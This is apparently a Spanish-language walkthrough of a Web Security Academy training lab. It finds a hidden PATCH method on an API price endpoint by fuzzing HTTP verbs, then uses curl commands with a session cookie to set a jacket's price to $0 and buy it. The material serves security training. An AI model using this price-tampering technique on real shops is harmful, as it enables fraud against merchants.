API Testing Lab 3
Skills
- Finding and exploiting an unused API endpoint
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Para resolver
el laboratorio, debemos explotar un endpoint oculto de la API
para comprar una Lightweight l33t Leather Jacket
. Podemos iniciar sesión
en nuestra propia cuenta utilizando las credenciales wiener:peter
Resolución
Al acceder
a la web
nos sale esto
Pulsamos sobre My account
y nos logueamos
utilizando las credenciales wiener:peter
Si nos abrimos
el código fuente
de la web
nos encontramos estos
Si accedemos a https://0a05009004d6f6e6801453ce00a2008e.web-security-academy.net/resources/js/api/productPrice.js
vemos este contenido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
const Container = class {
constructor(message, innerClasses, outerClasses) {
this.message = message;
this.innerClasses = innerClasses;
this.outerClasses = outerClasses;
}
#build() {
const outer = document.createElement('div');
outer.setAttribute('class', this.outerClasses.join(' '))
const inner = document.createElement('p');
inner.setAttribute('class', this.innerClasses.join(' '));
inner.innerHTML = this.message;
outer.appendChild(inner);
return outer;
}
static Error(message) {
return new Container(message, ['is-warning'], ['error-message', 'message-container']).#build();
}
static ProductMessage(message) {
return new Container(message, ['product-messaging-content'], ['product-messaging-banner', 'message-container']).#build();
}
static RemoveAll() {
[...document.getElementsByClassName('message-container')].forEach(e => e.parentNode.removeChild(e));
}
};
const getAddToCartForm = () => {
return document.getElementById('addToCartForm');
};
const setPrice = (price) => {
document.getElementById('price').innerText = price;
};
const showErrorMessage = (target, message) => {
Container.RemoveAll();
target.parentNode.insertBefore(Container.Error(message), target);
};
const showProductMessage = (target, message) => {
Container.RemoveAll();
target.parentNode.insertBefore(Container.ProductMessage(message), target);
};
const handleResponse = (target) => (response) => {
if (response.error) {
showErrorMessage(target, `Failed to get price: ${response.type}: ${response.error} (${response.code})`);
} else {
setPrice(response.price);
if (response.message) {
showProductMessage(target, response.message);
}
}
};
const loadPricing = (productId) => {
const url = new URL(location);
fetch(`//${url.host}/api/products/${encodeURIComponent(productId)}/price`)
.then(res => res.json())
.then(handleResponse(getAddToCartForm()));
};
window.onload = () => {
const url = new URL(location);
const productId = url.searchParams.get('productId');
if (url.pathname.startsWith("/product") && productId != null) {
loadPricing(productId);
}
};
Pulsamos sobre View details > Add to cart
para añadir un producto a nuestro carrito
Si nos abrimos Burpsuite
y nos dirigimos a la extensión Logger ++
vemos que al añadir
un producto
al carrito
se hace una petición a /api/products/1/price
Mandamos
la petición
al Intruder
y marcamos GET
Añadimos
el payload
llamado HTTP verbs
Inspeccionamos
las respuestas
recibidas y vemos un código de estado 400
con esta respuesta
Enviamos
esta petición
y nos responde que nos falta un parámetro
en el body
1
2
# curl -X PATCH -s --cookie 'session=FAsAkXfF7a0bDzIPfF7Pwtsf7xTczZUQ' -H 'Content-Type: application/json' https://0a05009004d6f6e6801453ce00a2008e.web-security-academy.net/api/products/1/price --data '{}'
{"type":"ClientError","code":400,"error":"'price' parameter missing in body"}
Modificamos
el precio
del artículo
aparentemente
1
2
# curl -X PATCH -s --cookie 'session=FAsAkXfF7a0bDzIPfF7Pwtsf7xTczZUQ' -H 'Content-Type: application/json' https://0a05009004d6f6e6801453ce00a2008e.web-security-academy.net/api/products/1/price --data '{"price":0}'
{"price":"$0.00"}
Si nos dirigimos
a la web
podemos confirmarlo
Pulsamos
sobre Place Order
y compramos
el artículo